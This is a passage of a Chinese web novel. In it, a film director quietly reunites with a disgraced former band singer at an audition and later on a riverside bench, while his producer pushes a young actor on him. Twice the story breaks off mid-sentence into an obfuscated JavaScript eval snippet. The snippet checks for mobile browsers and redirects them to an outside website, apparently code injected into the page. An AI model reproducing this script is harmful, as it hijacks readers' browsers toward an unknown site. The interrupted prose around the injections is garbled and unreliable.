那时候,很多人都认为这支乐队能长久地走下去,登顶只是时间问题。可等来的,不过是繁华一瞬,分崩离析,最后无人问津。 陈晖现在唱的这首,是他最后一次登台,答应给粉丝的新曲目。那天,他高高举起话筒,大喊着:“下次见!晚安!” 热情高涨的粉丝挥舞着应援旗,高呼着他们的名字。 当时的陈晖以为很快就会再见,他兴高采烈地接过那些应援旗,与台下的听众合影。可再次出现在大众视线里,他已经是污名满身。 陈晖的思绪很快拉回到现实。 他本来不打算唱这首歌的,可是从前那些曲目,他已经唱不出那种夏天的感觉了,回忆起来,全是苦涩。 他开不了这个口。 沈愚静静地注视着他,聆听着这首陌生的歌谣,大概也能察觉到那不为人知的苦闷与挣扎。 一曲唱完,陈晖起身鞠了一躬,接着就默默等待着沈愚出题。 他看向那位大导演,对方不知道在想些什么,微微抿着唇,神色有点凝重。陈晖有点慌,他想,沈导不会是憋了什么大招吧? 可沈愚只是单纯地发了一会儿呆。 他昨天晚上没怎么睡好,做梦都在想象着今天重逢的场景。可如今,思念了许久的人就这样站在自己面前,他第一感觉竟然不是激动、喜悦、感慨万千,而是一种挥之不去的难过。就好像有人朝着他的心口打了一拳,闷痛不已。 沈愚慢慢地,用一种非常轻柔的语调说道:“假如,你在路边遇到了一个久别重逢的,朋友,” 他明显顿了一下,又重复“朋友”二字,他说:“他记得你,但是你一时想不起来他是谁了。” 沈愚说完,江恕和小刘同时瞄了他一眼,一个若有所思,一个好像有些诧异,但两个人都没有表态。 陈晖脑袋懵了一下,根本不知道要怎么作答。 这道题对他来说,难度太大了。 他想起培训老师说的,如果不知道要怎么表演,可以代入一下自己的生活经历。可他活了二十几年,遇到的人数不胜数,要说朋友也有那么几个,但符合沈愚条件的,还真,没有。 陈晖犯了难,只听沈愚又道:“如果你需要的话,可以选择我或者刘导做你的搭档。” 陈晖听了,定定地注视着他,仿佛没听明白一样,有些发愣。小刘好心安慰道:“没事儿,随便说说,别紧张。” 这么一说,我就更紧张了。 陈晖心里直叹气,硬着头皮往前走了几步,举起右手,露出当年他在舞台上的招牌笑容:“好久不见,最近怎么样?” 好社死。 陈晖后背直冒冷汗,他甚至不敢去看沈愚的眼睛,怕对方瞪他——虽然作为大导演,这点忍耐力应该还是有的。 可陈晖心虚啊,心虚得连下句台词怎么说都没脑子去想,手一缩,背到身后,就跟罚站似的立在沈愚跟前。 “噗。”一旁的江恕忍不住笑出声来,他一笑,小刘和一边的编剧也忍俊不禁,只有沈愚平静地与他对视,沉默片刻后,说了句:“一般,你呢?” 陈晖哑然,张着嘴半天没憋出一句话来,沈愚等了一会儿,才点点头:“辛苦了,今天就到这儿吧。” “好,谢谢沈导,谢谢各位老师。”陈晖如蒙大赦,又鞠了一躬,匆匆收了吉他,头一低,两三步就溜出了门。 江恕打趣儿道:“歌唱得不错,就是演技不行。” “这道题对他来说有点难了吧。”小刘提出了不同意见,“非科班出身,又是来竞争一个龙套,我们不用卡这么死。到时候镜头都在男主身上,他就是个背景板,歌唱得好听就行了。” “那得问问我们沈导愿不愿意了。”江恕开着玩笑,他知道沈愚是个追求极致的人,对龙套的要求可不会那么简单。但沈愚并没有立刻表态,只是将陈晖的简历放进了一边的文件袋里,说着:“下一个吧。” 陈晖出了门,径直穿过攒动的人群,一个闪身进了安全通道,“噔噔噔”跑下了楼。他实在太紧张了,以至于到了楼下,他还在不断地深呼吸,来平复自己躁动的心脏。 沈愚不愧是大导演,演技也那么出挑,一个眼神就差点让他丢盔弃甲。 陈晖从未见过那样的,温柔、关切,甚至是充满爱怜的眼神。沈愚就好像看穿了他的一切过往,看透那些隐秘在岁月风尘里的种种不堪,就好像在真情实意地心疼他。 陈晖整个人都一个激灵,使劲摇了摇头。 他就说他不适合当演员,容易当真。 据说好多演员都有抑郁症,就是拍戏的时候代入太深,才得病的。 陈晖扼腕,说不出心里是何种滋味。 就在这时候,他听见有人叫他:“小晖!” 一抬头,发现是朱嘉意急匆匆跑了过来。 “嘉哥。” “哎呦,今天停车场根本没地儿停车,我出去绕了一大圈才回来。”朱嘉意跑得满头是汗,他随手擦了擦,“你怎么样,排到几号啊?咋不进去呢?” “我都面完了。”陈晖哭笑不得,从背包侧边掏出一包纸巾递给他,朱嘉意眼珠子都要瞪出来了:“都结束了?怎么样啊?把握大不大?” “听天由命咯。”陈晖笑笑,搭着他的肩膀,将人往外边带,“走啦走啦,到车上我跟你细说。” 朱嘉意还没回过神,就被人带跑偏了,他嘀咕着:“不会吧?不会一个人都没看上你吧?” “你别想了,到时候再说呗。”陈晖拍拍他,“走, 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沈愚眼皮都没抬,说着:“他听见了,没事,今天辛苦你们了,都下班吧。” “好。” 小刘也没多想,那边的编剧老师也收拾妥当,说了声:“小刘你回公司吗,回的话我带你一程。” “我要回去一趟,有几张表格还在我电脑里。”小刘笑着,“谢谢露姐。” “谢什么,一起走吧,刚好顺路。”姚露将披肩的长发扎了起来,和沈愚打了个招呼,“走了啊,沈哥。” “嗯,慢走。” 沈愚有条不紊地收拾着,直到人都走光了,才拿起手机,准备离开。江恕问他:“那个赵苇航怎么样?” “哪个?没印象。” “嗯?”江恕这才抬起头来,看见沈愚已经快走到门口了,忙叫住对方,“就是今天在那个,那个,你说什么久别重逢的那个人后面进来的。” 沈愚脚步一顿,好像在认真思考,可是没一会儿,他就淡淡回了句:“不记得了。” 说着他就打开门出去了,江恕愣了愣,赶忙追了出来:“哎,沈愚,你怎么回事儿,我说的话就这么不顶用吗?” 沈愚回过头,打量了他两眼,那表情好像在说“难道不是?” 江恕闷声吃了个瘪,不轻不重地给了他一拳:“下次长点儿记性。” “嗯,知道了。”沈愚不以为意,默默朝前走,江恕问他:“你回家吗?我捎你?” “不用,我去散散步。” “这大热天的你上哪儿散步去?” “江边。” “啊?”江恕琢磨着不对劲儿,他觉得沈愚不在状态,就跟了过去,沈愚瞥了他一眼,没说话,江恕就在一边叭叭着:“看我干什么?我是怕你一个不留神掉江里去,明儿保准上头版头条。” 沈愚:“……” “你就不能盼我点好?” “我怎么不盼你好?不盼你好,你能有今天?”江恕调侃着,“要不是我真金白银地供着你,你现在指不定在哪儿给人当孙子呢。” 沈愚被逗笑了:“那我可得好好谢谢你。” “犯不着,你记着我说的话就成。” “行,好。” 沈愚懒洋洋地应着,不想再和江恕扯皮,对方也见好就收,开车载着人去了江边。 5. 第 5 章 盛夏酷暑,太阳下山晚,临近七点,天还亮着,江水粼粼,波光漫漫,日头不及中午那么炎热,但也不那么凉快。加上今天是工作日,江边步道上还没有多少人。零零散散有大爷大妈在散步,偶尔也有些年轻人在慢跑、遛狗。 江恕刚下车,没走几步就觉得热,后背很快就汗涔涔一片,新定的衬衫都黏在了皮肤上,令他不适。 没一会儿,江恕就泄了气,心想自己真是脑子被门夹了,有福不享,跑来和沈愚受这种苦。于是,他摆摆手:“我去那边的咖啡馆坐坐,你要回去打我电话。” “你忙的话就先回吧,我晚点打车回去。” “我不忙。”江恕手扇着风,脑门上全是汗,沈愚神色古怪,看了他一眼:“你真不忙?不需要和天星传媒那边接洽一下?” 江恕:“……” “哪有刚结束面试就接洽的啊?我是制片人,也是这个项目最大的投资商,没事上赶着给人家脸做什么?”江恕语重心长地纠正了沈愚这个错误的认知,“你得吊着对方两天,才能牢牢把握住话语权,明白吗?” 沈愚:“……” “不明白。”他像一只小乌龟那样,慢腾腾地说着。 江恕:“……” 二人相顾无言。 江恕“嗤”的一声笑了出来:“行行行,不为难你,你自个儿逛去吧,我去咖啡店吹吹空调。” “好。”沈愚点点头,没有再纠结江恕为什么今天大发善心非要等他一道回去这件事。 二人小队友好地原地解散。 沈愚沿着江边步道悠闲地走着,思绪万千。 他刚毕业的时候,最喜欢来这条道上散步,那会儿,名不见经传,还没认识江恕,身边也没什么朋友,当然,他也没多少工作。那一年,他几乎都在投简历。最开始的时候,有家公司看中了他的本,但只愿意给他副导的职位。沈愚当时比较轴,他只想做导演,他不想自己的作品诞生在别人镜头下,他舍不得。 所以他拒绝了。 然后他接连碰壁,不断碰壁,一直被拒、被拒、被拒。 后来实在没有办法,他只能一边打零工赚钱,一边自己钻研。好不容易凑够了成本,又要去找制作班底,去请演员。可专业的请不起,业余的又实在参差不齐。他的交际能力又差,谈来谈去又是一鼻子灰。 名利,名利,有名有利,沈愚一个都给不起。 但好在,他不气馁,他韧劲儿大。他天天往影视基地里跑,总算是大海里捞针,给他捞着了合适的人选。 他靠着搭起来的草台班子,拍了一部微电影。 只有二十分钟的小短片。 没有发行商,只能当作一个视频发在了网络上。 但他惊人的天赋和积累,在这个小短片中体现得淋漓尽致。这也是江恕相中他的开端。 不过后来遇到了一点意外,草台班子因为钱的问题,没多久就倒了。分道扬镳的时候,那些人闹得都很不体面,活生生变成了一场笑话。 沈愚因为性格的原因,躲过一劫。不过最大的原因是,赚来的钱,他一分没拿。 沈愚挺伤心的。 他本来筹备着留点钱,再跟自己的搭档们合作,拍下一步电影。 相识于微末,他称呼这个草台班子为搭档们。 但风一吹,浮萍就散了。 沈愚很难过,他觉得自己的梦想又受到了重创。他像个怀才不遇悲愤欲绝的理想主义者,散尽家财,独自背着包去了另一座城市。 当然这个行为,在后来被江恕简单概括为两个字——傻逼。 不过沈愚本人不这么觉得。 因为他在那座城市中,第一次遇到了陈晖。 那天真的是意外中的意外。 沈愚在等公交的时候,看到了街对面的LED屏幕上正滚动播放着音乐节广告。他正郁闷着,就突发奇想去音乐节凑凑热闹,说不定会有新的灵感。 于是就这么歪打正着,进去了。 沈愚在江边步道的一张长椅上坐下,眺望着逐渐西沉的红日。晚霞灿烂,一层层铺在那些高楼大厦的上空,原始自然的热烈气息与那些冰冷的钢筋水泥相互交融、碰撞,竟出人意料的和谐。 沈愚记得他见到陈晖时,也是在这样一个漫天云霞的黄昏。年轻的主场在台上激情开麦,台下的听众一起打着节拍,快乐无以复加。 “你好,旁边有人吗?我能不能坐这儿?” 沈愚一愣,转过头去。 陈晖正一手拿着根冰棍,一手拎着袋零食,站在长椅边上。 四目相对的那一瞬间,沈愚明显感觉到陈晖脸上的尴尬。 “没有人,坐吧。”他轻声应着,又装作若无其事地转过头去。 陈晖感觉自己有点倒霉。 他前脚刚送走唠唠叨叨的经纪人,后脚就遇到了今天被他弄得差点下不来台的主考官。 陈晖在车上和朱嘉意复盘了一下,觉得自己今天表现确实太差了,胡说八道总比干瞪眼强啊,他偏偏还对着沈大导演,对方能憋住不笑他,那真是个,大好人。 现在这位好人哥就坐在自己面前的长椅上,还说可以坐,没关系。 陈晖真想立刻逃跑,他怎么就没看清这人的长相呢?都怪这天黑得太早,无端端害了他。 但人家大导演都发话了,他现在拔腿就跑,不等于打对方耳刮子? 陈晖现在可不敢乱得罪人,就脚一抬,默默坐了下来。 他啃着冰棍,用余光偷偷打量着沈愚。对方像是在安静地欣赏眼前这片美景,浑身上下都散发着一股沉静温和的气息。 可陈晖如坐针毡。 他想,要不要说点什么来缓解一下这凝重的氛围? 可是说什么呢? 很巧,沈愚也在思考这个问题。 他也没想到会在这里遇到陈晖。 还是之前太忙,散步散少了。沈愚如是想。 以后要多多散步,多多偶遇。他下定决心。 “吃薯片吗,沈导?” 陈晖从塑料袋里掏出一包薯片,递给他,再一想,我靠,我为什么要请他吃薯片,怎么看都应该请他吃点高级零食吧? “谢谢。”沈愚坦然接过,撕开包装袋,吃了 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“是那种街头歌手?”沈愚略有耳闻,似乎在什么时候刷到过这样的推送。 “对。”陈晖笑笑,“唱得挺好听的,我心情不好的时候就会来听一会儿。” 等等,我为什么要说心情不好?这不是明摆着让沈导难堪吗? 陈晖真想给自己嘴缝上。 “心情不好?因为什么事呢?” 沈愚问得也有点呆头呆脑的。 陈晖都不知道他是明知故问,还是真没意识到,可看着这位大导演真挚的眼神,他还是选择相信了后者。 “这个,”陈晖不擅长撒谎,正绞尽脑汁编理由呢,沈愚就反应了过来:“如果是面试的话,确实应该伤心一下。” 陈晖:“……” 大导演就是如此的直接吗? 沈愚顿了顿,又道:“但不要自暴自弃,拍电影是将每个人的闪光点放大,再重新组合,所以你要有信心。” 陈晖愣了愣,沈导这是什么意思?他在暗示我有机会?还是鼓励我再找下家? 他举棋不定,只好说着些场面话:“谢谢沈导。” “没事。”沈愚垂下眼帘,又不作声了。 陈晖想了想,给了他一罐酸奶:“这个挺好的,尝尝吗?” 沈愚也收了,不声不响地喝了起来。 陈晖又给了他两个果冻,一个水蜜桃的,一个椰奶的。 沈愚还是收了。 陈晖琢磨着,难道沈导饿了? 他又递过去一袋苏打饼干。 沈愚其实不饿,可又不想拒绝陈晖,就来一个吃一个。这下,陈晖就更确定,沈愚是饿了。 他刚刚说那些话,不会是为了我的零食吧? 陈晖突然抖了一下,不不不,这种想法太恐怖了,简直要命。 沈愚自然不会知道陈晖在想什么,他只会想,他喜欢了很久的人,果然很热情,很真诚。 6. 第 6 章 夕阳落入远处的江面,最后一丝消失在天尽头的时候,沈愚看见一个穿着印花圆领衫的年轻人,拖着个黑色皮箱,背着把吉他,走到了长椅前边的那块圆形空地上。沈愚看他拉开皮箱,将那便携式的音响、麦克风什么的组装起来,而后就开始调弦。起先只是几个不成调的音符,渐渐地,便连成了一句两句轻盈的曲子。 陈晖耳朵尖,很快就听出来这是《Five Hundred Miles》的前奏。这是一首很经典的民谣,旋律简单,曲风清新,乡愁满盈。 陈晖第一次听这首歌的时候,就觉得好听。再年轻一点,也会随便唱唱。可现在坐在这长椅上,在这条宽阔的江边,在这座陌生的城市,陈晖忽然感到一阵落寞。 他手里捏着一包干脆面,“咔嚓咔嚓”捏了个粉碎,沈愚瞥了他一眼,没有说话。 今天来的这位歌手似乎很擅长民谣,而且非常喜欢那种蕴着淡淡愁思的抒情歌曲。江边步道的路灯早就打开,像一串灿烂的珍珠吊坠在飘带似的江水边。那位歌手站在明暗交界处,灯光只能照亮他的吉他和那双拨弄着琴弦的手,莫名有几分神秘。 陈晖听着听着,就觉得心里难受,闷闷的,不舒服。 他不是个伤春悲秋的性子,也不爱有事没事追忆往昔。但今天刚刚面试失败,身边又坐着主考官,这好像会时不时提醒他——你确实不如人。 陈晖默默拆开手里的袋子,抓了一把稀碎的干脆面,塞进嘴里。脆脆香香的味道在唇齿间弥漫开的时候,他想,天无绝人之路,这次不行,下次一定。 他想了又想,劝了又劝,花了五分钟把自己安慰好,又专心致志观看起了演出。可惜,江边步道的人慢慢多了起来,有不少站在了他前面,陈晖又懒得动,就靠在椅背上,稍微歪着点身子,在人群的夹缝里看。 沈愚在偷偷观察他。 他看见陈晖一会儿面色凝重地捏干脆面,一会儿又舒展开眉头,像是心情舒缓了许多,现在又换了个姿势,脸偏在一边,不知道在想什么。 沈愚心想,他是不是正触景生情,伤心着呢? 可是,要怎么安慰他呢? 沈愚低头看了眼他那一袋零食,认真思考了一会儿,心想,要不请他吃东西?于是他掏出手机,准备给江恕发消息,结果打开微信发现,对方三十分钟前已经找过自己了。 “沈愚,你散完步没有?结束的话就赶紧回来,我们去吃小龙虾,我打电话让李叔来开车。” 二十分钟前。 “吃不吃啊?过了这村儿没这店啊。” 十五分钟前。 “不理我?你掉江里去了?” 十分钟前。 “我滴乖乖,你真掉进去了?等着,哥马上来捞你。” 沈愚:“……” 完了,要被神经病连珠炮攻击了。 换成以前就还好,但现在,他可不想在陈晖面前丢脸。 现在离开还来得及,沈愚这么想着。 可又舍不得。 分别数年后的重逢,坐在同一张长椅上,吹着江风,听着温柔轻缓的民谣,这是他做梦都不敢想的事情。 沈愚看了眼陈晖,对方正听得高兴,嘴角上扬,时不时跟着哼两句,两手撑在身侧,手指还在轻轻跟着打节拍。 沈愚忽然想开了。 他想,他怕江恕干什么?就算那人狗嘴里吐不出象牙来,那他和陈晖以后还不能见面了吗?尴尬是一回事,可再退缩,就绝没有以后了。 何况他们只是一起吃了点零食。 想到这儿,沈愚又冷静下来。他看见陈晖从袋子里又掏出一包薯片,拆开来和他分着吃。 两个人都没有说话。 沈愚在这一刻感到了幸福与满足。 哪怕它只存在了一个小时。 那位歌手说今天有事,唱不了很久,鞠了一躬,说着下次再见,就收拾东西准备走了。 陈晖很是可惜,上前去问他下次什么时候,对方很有礼貌地回答是下个星期六,天气好的话,大概八点开始,十点结束。 得到回答的陈晖很兴奋,就和人聊了几句。他整个人都站在背光的地方,半长不短的头发被江风吹起,像映在水里的倒影,轻轻一碰,就会随着涟漪散开。 就像真的,只是一场梦。 沈愚静静地坐着,直到陈晖与那人道别。 晚风吹拂,带来些许湿润的潮气。夏日漫长炙热,也只有这时,久经暴晒的城市才得以喘息。 沈愚默默起身,也准备和陈晖说声再见。 如果运气好的话,说不定还能加个好友。 可惜,他运气一向有点背。 “沈愚!” 江恕这个狗人在很不合时宜地叫了他一声。 沈愚眼睁睁看着陈晖僵了一下,装作是个散步的路人,背对着他往步道另一边走。 江恕压根儿没发现,三两步跑到沈愚跟前:“你还挺能走啊,我从停车的地儿一路找过来,硬生生花了——” 他抬手看了眼腕表,“半个小时!” 沈愚一脸无辜:“我也没让你来找我啊。” “我这不是担心你吗?”江恕微微蹙眉,“说起来,我真觉着你今天不太对劲。” “我怎么了?” 沈愚说着,余光瞥向陈晖,发现对方早走远了,附近两个路灯下都没看见他的影子。 沈愚有些失望,江恕还没发现,嘴一张,就开始絮絮叨叨:“我从前几天就催着你的事情,你一点儿都没记住,这还不够奇怪吗?那赵苇航要颜值有颜值,要身材有身材,要演技有演技,哪里入不了你的法眼?你居然跟我说没印象?那你想要什么样的?一个没几句台词的配角,你想怎么样?” 沈愚听得头大,压着眉头,想了半天,最终还是妥协了:“行,我下次注意。” 江恕喜笑颜开:“你下次别散步了,又热又累,讨不着好,走,我请你吃小龙虾去。” “我不太想吃。” “去吧去吧,这么晚不吃饭,你不饿啊?” 江恕好言相劝,沈愚又想起陈晖分给他的零食。 他转头看了眼,那拆开的塑料袋里还躺着几包饼干、辣条、薯片,还有,果冻。 陈晖走了,那这些吃的……扔了怪可惜的…… 沈愚鬼使神差地将那塑料袋打了个结,拎在手上:“走吧。” “啊?你什么时候喜欢吃这些了?” “你走不走?” 江恕咽下到嘴边的疑问:“行行行,走吧。” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705244|173521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愚大步向前,头也没回。 悄悄摸摸折回来的陈晖,一看自己的零食没了,有些摸不着头脑,这大导演,怎么还连吃带拿啊? 无奈之下,他只好重新去买了一份。但预算已经花掉了,他只能忍痛买了最喜欢的一根冰棍,然后打道回府。 江恕开车带沈愚去了那家店。 这个点了,还有不少人在吃饭,桌子都摆到了店门口的空地上。江恕找了个没人的桌子,招呼着沈愚快坐下,就准备扫码点单。 “沈导?” 沈愚一抬头,就看见一个有点眼熟的小年轻站在们桌子前。 沈愚愣了愣,没想起来这是谁,只好露出标准的职业微笑,点了个头:“你好。” 小年轻明显是出来吃宵夜的,打扮很随意,上半身穿了件印着蓝色小熊的短袖,下边则是一条牛仔裤,头发有点乱,看上去有些自然卷,五官精致,笑起来也很漂亮。 江恕眼睛一下就亮了:“小赵?你也来吃小龙虾?” “对,和我同学一起。”小赵同学很有礼貌地和他打了个招呼,可眼神很快又转到了沈愚身上,“江制片和沈导也来吃吗?” “是啊,听说味道很好,就来尝尝。”江恕笑着,“要不要一起坐?人多,热闹。” 小赵同学也是开朗,有股初生牛犊不怕虎的劲儿:“不用不用,我们已经吃完了,我只是去结账的,您慢慢吃,他们家五香和蒜蓉的味道最好。” 江恕横看竖看,十分满意,满口应着。沈愚倒是没多少反应,因为他真的在想,这到底是谁。 小赵又看了眼沈愚,深吸一口气,像是鼓足了勇气,说着:“沈导,今天面试,我可能有很多地方表现不好,但我以后一定加倍努力,还请您多多指教。” 沈愚愣了愣,脱口而出:“面试?” 江恕赶忙在桌子底下踢了他一脚,生怕他捅个大篓子,沈愚眨了下眼睛,回过味来,道:“你还年轻,还有很大进步空间,不用太担心。我像你这么大的时候,分镜都还写不好呢。” 小赵莞尔:“沈导说笑了。” 他抿了抿嘴,嘴角两个甜甜酒窝甚是可爱:“不打扰您和江制片了,我先回去了。” “嗯。”沈愚点点头,尽管他觉得这个小年轻还有别的话没说完,但又不认识,他也不想多问。 江恕目送着那人离去,就两手一缩,凑在沈愚跟前,问道:“怎么样?” “什么怎么样?”沈愚不解其意,慢腾腾倒了杯柠檬水,正准备喝两口,被江恕一把按下。沈愚更是奇怪:“干嘛?” “你今天,你,”江恕恨铁不成钢,“我是问你,赵苇航究竟怎么样?” “啊?那是——” 沈愚说到一半,又顿住了。 他感觉到江恕眼睛里闪过一丝杀意。 好吧,今晚也许要交代在这儿了。 沈愚为自己哀悼了两秒,又拿起另一个杯子,倒了杯柠檬水。 江恕:“……” “我真服了你了。”他笑骂。 “哦。”沈愚这下终于对赵苇航有点印象了。 “19岁?” 他只记得自己翻开简历的第一眼,就有点诧异。 赵苇航面试的角色,是一个经验老道的猎手。 7. 第 7 章 饭桌上,沈愚在心里盘算了半天赵苇航的事情,总觉得自己忽略了一个关键点,但这个点到底是什么,他一时也说不上来,只能机械似的剥着龙虾。 “沈愚?”江恕叫他,顺便一筷子把他碗里刚剥好但没有吃的龙虾顺走了。 沈愚还在走神,并没有听见江恕叫他,而某人见他没反应,直接一肘子搡了过来,问道:“哎,你傻了?” 沈愚一顿,瞧了他一眼,就像被侦探附体一样,灵光一闪:“你,是不是对赵苇航太上心了?” “我?有吗?”江恕满脸困惑,随手丢了个龙虾壳给他,像往常很多次恶作剧那样。 可沈愚却问:“你是不是喜欢他啊?” 惊天动地,毁天灭地。 江恕从他面前堆得像小山似的龙虾壳里抬起头来,满脸都写着“你有病吧?这种话你都问得出来?”,他眨眨眼,好一会儿才回答着:“不是,你怎么了?看我不顺眼你就直说,哥不是什么小心眼的人。” 江恕比沈愚要小几岁,可一旦拿腔作势起来,就喜欢哥长哥短,沈愚也不在意,很诚实地回答他:“你之前一直不停地催我要多关注赵苇航,可他现在竞争的角色,我觉得并不是很适合他——” 他顿了顿,似乎在斟酌用词,江恕的表情也随之古怪起来:“所以呢?你要说什么?认为我徇私舞弊?可就算不合适,你也不能否认他的优秀啊,这是客观存在的事实。就算现在不合适,我们不是还有集训吗?以他的能力,一定能很快进入到角色。” 沈愚琢磨半天,说着:“你太关注他了。这一批优秀的人很多,可只有他,被你一再提起。” “那不很正常吗?我要跟他们公司合作,可不得关照一下?”江恕看上去有点生气了,将筷子往喝酒的杯子里一插,就打算拍拍屁股走人,沈愚却好像没注意到这点,说着:“江恕,有些东西,仅仅靠演技,是完成不了的。” “你要干嘛?准备今天和我探讨下你的导演艺术?”江恕越听越气,忍不住叩了叩桌子,可沈愚笑笑,说着:“我的意思是,如果这个角色他不合适,我可以给他换一个,也不会让你为难。” 江恕一愣,脾气下去了大半,摆出那副吊儿郎当的态度:“哟,铁面无私的沈大导演也会对我网开一面?” 沈愚微微蹙眉:“我们是搭档。” 江恕又是一怔,默默缩回了手。 “你的意见我会充分考虑进去的。” 江恕一声不吭地把那双筷子从杯子里抽出来,若无其事地用纸巾擦干,整齐地摆在桌上。 “但你最好不要喜欢他,你这臭脾气,他这样的小年轻受不了。” “我靠!”江恕大叫一声,周围不少人投过来好奇的目光,江恕忍了又忍,才没有抄起筷子摔到沈愚头上。 不过他倒是想到了一个更恶心的办法。 “我不喜欢他,他也不是我喜欢的类型。”江恕咬牙,皮笑肉不笑,“真要说喜欢,你这种的,倒挺对我胃口。” 沈愚:“……” 江恕“哼”了一声,径直起身:“你结账。” 沈愚没说话,乖乖照做了。 两个人散了场,各回各家。 接下来的日子,沈愚依旧按部就班地进行面试,江恕却有些意外地没有再提赵苇航的事情。他们默契地各司其职,直到这次海选结束。 “沈哥,最后的集训名单我发你邮箱了,你晚上确定一下,明早给我回复就好。” 临下班,小刘朝沈愚招招手,就准备走了,沈愚点点头:“好,我尽快,辛苦了。” “哪儿的话?走了啊,沈哥。”小刘笑笑,身影便消失在了虚掩的门后。 沈愚收拾好东西,就直接回了家,打开了那个邮件。 最终入选名单并不是他一个人定下的,只是需要他确认签字,然后给江恕盖章,之后就可以正式启动集训了。 一部电影的角色不会立刻定下来,通过海选以后,还要再进行几轮竞争,角色也极有可能进行调动。踏进这个圈子的人都知道,进了集训才是真正的开始。 陈晖也略有耳闻。 可他却有种不知道该往哪儿使劲的茫然感。就像朱嘉意说的那样,他得先跨过自己心里那道坎。 他要接受现在的转型,要怀有成为优秀演员的决心。 可是他做不到。 陈晖劝解过自己,只要露个脸就成,迈出一步就离成功进一步。可他骨子里又太好强,想全力以赴,又难以打破自我的那层壁垒。 请来的老师教了他几节课,就说他不适合吃这碗饭,当然,也是因为预算不够,付不起学费了。 “唉。” 陈晖往沙发上一躺,就又收到了短信。 他匆匆看了眼,大概意思是让他下个月一号准时去影视基地集训。 陈晖又叹了一口气,把手机扔在一边,有些烦恼地转过身,把脸埋在沙发上。 如果是集训的话,情况说不定会好一点。 陈晖乱七八糟想了一通,最后居然睡着了。 沈愚睡得很好。 他发完短信,感觉心里一块石头落了地,一夜无梦。 日子要一天天过,可人一旦心里有了期待,时间的流逝就会变慢。 沈愚深有体会。 从江恕盖完章,到集训之前,需要他做的工作就大幅度减少了。所以他喜提十天假期,江恕让他随意安排,好好休息,准备迎接接下来的艰巨任务。 沈愚没几个爱好,私底下算是个很无趣的人。十天假期,他只有第一天在家窝了一天,第二天跑了趟熟人的路演,作为客串嘉宾帮忙宣传,第三天就又回了家,躺了一天。 剩下的时间,他忽然发现不知道要做什么。 沈愚反反复复点开陈晖的联系电话,又默不作声地点掉,然后在手边的台历上画个圈,数着即将见面的日子。 对了,他现在熟练掌握了在江边散步的技巧。几点出门,走哪条道,用多快的速度能准时到达那个露天演出的最佳观赏点。 但陈晖这几天都没有来。 他不知道对方正在焦头烂额地被经纪人耳提面命,也没有任何办法得知。 沈愚选择笨拙地等待。 好消息是江恕忙了起来,不再动不动就跟脑子短路一样,逮着他问东问西了。 “唉。” 沈愚也叹了口气,坐在江边步道的长椅上,眺望着这片美丽的落日。 陈晖又拎着一袋零食折返。 这回,他是需要缓解一点莫名其妙的焦虑。 他束手无策,却又不得不硬着头皮往前走的时候,就会有那么点儿负面情绪。 好在他能控制,坏在需要花点小钱。 可他又撞见了沈愚,想起上次落荒而逃的尴尬经历,陈晖果断地选择从其他台阶上去,到街对面去。 “沈导。” 不知是谁在叫沈愚,听着就像个活力满满的年轻人。 陈晖鬼使神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705245|173521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差地停下脚步,回头看了眼。 一个看背影就让人觉得十分好看的青年,就站在沈愚坐着的长椅边上,刚好挡住了沈愚的视线。 陈晖心里窜出一股好奇心,但他一想,自己偷听不就和那些狗仔一样了? 于是他匆匆跑了。 沈愚对于再见到赵苇航有点诧异,但经过江恕锲而不舍地灌输,他已经能记着这个年轻人的模样了。 “你好。”沈愚友好地点了点头,赵苇航笑着:“沈导也来看落日吗?今天天气很好,景色也很美。” 沈愚看着他,才注意到他今天穿了身运动装,很是青春阳光。 不过—— 沈愚点点头:“确实挺好看的。” 赵苇航低头笑笑,有几分腼腆:“那,我能坐你旁边吗?” 沈愚没觉得意外,也没有拒绝,答应了。 赵苇航就坐了下来,和他之间隔着一人的距离。 沈愚没有主动和人聊天的习惯,但赵苇航这回,表现得也有点奇怪,总是一副欲言又止的样子。之前在夜市,沈愚以为他是个自来熟,没想到这回却像变了个人似的。 “你——” “我——” 两个人几乎同时开口,赵苇航一下子慌了,忙摆手:“沈导您先说。” 沈愚有种不妙的预感。 他终于想起来他为什么觉得赵苇航奇怪了。 “你喜欢我?” 沈愚问得太过直白,赵苇航差点从长椅上跳起来,整张脸憋得通红:“我是您的粉丝!我从初中开始就喜欢您的电影了,这次,这次参加海选,也,也是因为崇拜您!虽,虽然我才出,初出茅庐,但是我有信心做到最好!” “哦。”沈愚呆呆的,一脸“原来是这样”的表情。 赵苇航见状,脸更是烧得慌,沈愚莞尔:“那你,为什么要挑一个和你的外型、性格甚至人生经历都截然相反的角色呢?一般来讲,你这样的新人演员,都会选择一些和你个人特质相符的角色,从舒适圈打开知名度,才是合理的选择吧?” “我,我,”赵苇航很不好意思地摸了摸鼻子,“因为之前看您的采访,您好像对那些勇于挑战自我的人很欣赏,我也,想得到您的认可。” 沈愚微愣,明白了他的意思:“挑战自我,是个很优秀的品质。但你还年轻,脚踏实地,反而更有意义。” 赵苇航不解,沈愚莞尔:“做演员就和做饭一样,讲究一个恰到好处。调料放多了,或是放少了,做出来的饭菜都让人难以下咽,做演员也一样。” 赵苇航恍然,更是激动,满脸崇拜:“我有信心去演好这个角色,您一定要相信我!” 